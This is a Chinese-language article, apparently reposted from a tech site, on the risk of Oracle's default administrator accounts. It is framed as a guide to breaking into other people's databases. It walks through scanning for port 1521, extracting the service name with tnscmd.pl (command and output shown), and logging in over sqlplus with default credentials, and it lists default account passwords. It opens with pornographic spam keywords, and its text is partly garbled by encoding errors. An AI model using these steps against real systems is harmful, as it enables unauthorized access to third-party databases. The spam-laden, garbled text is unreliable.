偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

Oracle默認(rèn)管理員帶來(lái)的數(shù)據(jù)庫(kù)安全隱患

數(shù)據(jù)庫(kù) Oracle
數(shù)據(jù)庫(kù)為了安裝和調(diào)試的方便,大多有默認(rèn)管理員的設(shè)置。Oracle默認(rèn)管理員的用戶名和密碼也多半一樣,因此產(chǎn)生了一些安全隱患。

Oracle默認(rèn)管理員密碼是固定的,這是為了安裝和調(diào)試的方便。Oracle數(shù)據(jù)庫(kù)中的兩個(gè)具有DBA權(quán)限的用戶Sys和System。筆者發(fā)現(xiàn)很多國(guó)內(nèi)網(wǎng)站的Oracle數(shù)據(jù)庫(kù)沒(méi)有更改這兩個(gè)用戶的密碼,其中也包括很多大型的電子商務(wù)網(wǎng)站,我們就可以利用這個(gè)缺省密碼去找我們感興趣的東西。

進(jìn)行測(cè)試前我們先來(lái)了解一些相關(guān)的知識(shí),我們連接一個(gè)Oracle數(shù)據(jù)庫(kù)的時(shí)候,需要知道它的service_name或者是Sid值,就象mssql一樣,需要知道數(shù)據(jù)庫(kù)名。那如何去知道呢,猜?呵呵,顯然是不行的。這里我們先講講oracle的TNSlistener,它位于數(shù)據(jù)庫(kù)Client和數(shù)據(jù)庫(kù)Server之間,默認(rèn)監(jiān)聽(tīng)1521端口,這個(gè)監(jiān)聽(tīng)端口是可以更改的。但是如果你用一個(gè)tcp的session去連接1521端口的話,oracle將不會(huì)返回它的banner,如果你輸入一些東西的話,它甚至有可能把你踢出去。這里我們就需要用tnscmd.pl這個(gè)perl程序了,它可以查詢遠(yuǎn)程 oracle數(shù)據(jù)庫(kù)是否開(kāi)啟(也就是ping了),查詢版本,以及查詢它的服務(wù)名,服務(wù)狀態(tài)和數(shù)據(jù)庫(kù)服務(wù)名,而且正確率很高。

理論方面的講完了,如果還有什么不懂的可以去查找相關(guān)資料?,F(xiàn)在開(kāi)始測(cè)試吧,需要的工具有:ActivePerl,Oracle客戶端,Superscan或者是其它掃描端口的軟件,Tnscmd.pl.我們先用Superscan掃描開(kāi)放了端口1521的主機(jī),假設(shè)其IP是xx.xx.110.110,這樣目標(biāo)已經(jīng)有了。然后我們要做的就是用Tnscmd.pl來(lái)查詢遠(yuǎn)程數(shù)據(jù)庫(kù)的服務(wù)名了,Tnscmd.pl的用法如下:

  1. C:\perl\bin@@@@dayu@@@@perl tnscmd.pl   
  2. usage: tnscmd.pl [command] -h hostname   
  3. where "command" is something like ping, version, status,etc.   
  4. (default is ping)   
  5. [-p port] - alternate TCP port to use (default is 1521)   
  6. [--logfile logfile] - write raw packets to specifiedlogfile   
  7. [--indent] - indent & outdent on parens   
  8. [--rawcmd command] - build your own CONNECT_DATA string   
  9. [--cmdsize bytes] - fake TNS command size (revealspacketleakage)   
  10.  

我們下面用的只有簡(jiǎn)單的幾個(gè)命令,其他的命令也很好用,一起去發(fā)掘吧。

然后我們就這樣來(lái):

  1. C:\perl\bin@@@@dayu@@@@perl tnscmd.pl services -hxx.xx.110.110-p 1521 –indent   
  2. sending (CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521   
  3. writing 91 bytes   
  4. reading   
  5. ._.......6.........?. ..........   
  6. DETION=   
  7. TMP=   
  8. VSNNUM=135286784   
  9. ERR=0   
  10. SERVICES_EXIST=1   
  11. .Q........   
  12. SERVICE=   
  13. SERVICE_NAME=ORCL   
  14. INSTANCE=   
  15. INSTANCE_NAME=ORCL   
  16. NUM=1   
  17. INSTANCE_CLASS=ORACLE   
  18. HANDLER=   
  19. HANDLER_DISPLAY=DEDICATED SERVER   
  20. STA=ready   
  21. HANDLER_INFO=LOCAL SERVER   
  22. HANDLER_MAXLOAD=0   
  23. HANDLER_LOAD=0   
  24. ESTABLISHED=447278   
  25. REFUSED=0   
  26. HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227   
  27. HANDLER_NAME=DEDICATED   
  28. ADDRESS=   
  29. PROTOCOL=beq   
  30. PROGRAM=/home/oracle/bin/oracle   
  31. ENVS="ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL"   
  32. ARGV0=oracleORCL   
  33. ARGS="   
  34. LOCAL=NO   
  35. "   
  36. .........@   
  37.  

從上面得到的信息我們可以看出數(shù)據(jù)庫(kù)的服務(wù)名為ORCL,然后我們就可以通過(guò)sqlplus工具來(lái)遠(yuǎn)程連上它了,用戶名和密碼我們用默認(rèn)的 system/manager或者是sys/manager(Oracle默認(rèn)管理員),其他的如mdsys/mdsys,ctxsys/ctxsys等,這個(gè)默認(rèn)用戶和密碼是隨版本的不同而改變的。如下:

  1. C:\oracle\ora90\BIN@@@@dayu@@@@sqlplus /nolog   
  2. SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 2311:36:592002   
  3. (c) Copycenter 2001 Oracle Corporation. All centersreserved.   
  4. SQL@@@@dayu@@@@connect system/manager@   
  5. (detion=(address_list=(address=(protocol=tcp)   
  6. (host=xx.xx.110.110)(port=1521)))   
  7. (connect_data=(SERVICE_NAME=ORCL)));   
  8.  

如果密碼正確,那么就會(huì)提示connected,如果不行,再換別的默認(rèn)用戶名和密碼。經(jīng)過(guò)筆者的嘗試一般用dbsnmp/dbsnmp都能進(jìn)去。當(dāng)然如果對(duì)方已經(jīng)把默認(rèn)密碼改了,那我們只能換別的目標(biāo)了。但是我發(fā)現(xiàn)很多都是不改的,這個(gè)就是安全意識(shí)的問(wèn)題了。

附錄 Oracle默認(rèn)管理員密碼

1.
用戶名:sys
密碼:change_on_install

2.
用戶名:system
密碼:manager

3.
用戶名:scott
密碼:tiger

【編輯推薦】

  1. 詳解Oracle如何解鎖用戶的方法
  2. 五分鐘精通Oracle表空間
  3. 五種Oracle用戶的授權(quán)與管理
  4. Oracle管理員手冊(cè):數(shù)據(jù)庫(kù)管理工具
  5. Oracle用戶名更改操作四步走
責(zé)任編輯:yangsai 來(lái)源: 網(wǎng)絡(luò)轉(zhuǎn)載
相關(guān)推薦

2010-05-27 17:23:07

2017-02-24 08:11:09

Docker數(shù)據(jù)安全容器

2009-11-06 17:39:41

2012-06-25 09:18:36

2017-07-12 09:11:16

2011-04-01 16:35:09

SQL Server數(shù)觸發(fā)器

2010-10-12 16:22:29

2013-07-24 09:33:46

Hadoop安全加密

2011-03-15 13:06:06

Oracle數(shù)據(jù)庫(kù)管理員

2011-03-15 13:25:41

Oracle數(shù)據(jù)庫(kù)管理員維護(hù)

2011-05-05 18:28:18

2010-09-17 14:29:23

2015-01-07 11:19:54

2009-10-26 17:29:21

Oracle管理員數(shù)據(jù)庫(kù)管理

2009-11-19 14:01:17

2016-09-29 22:09:26

2011-03-15 11:34:43

Oracle數(shù)據(jù)庫(kù)管理員任務(wù)

2009-07-06 13:38:02

2012-03-28 14:50:40

2017-10-18 19:12:24

數(shù)據(jù)庫(kù)Oracle安全管理
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)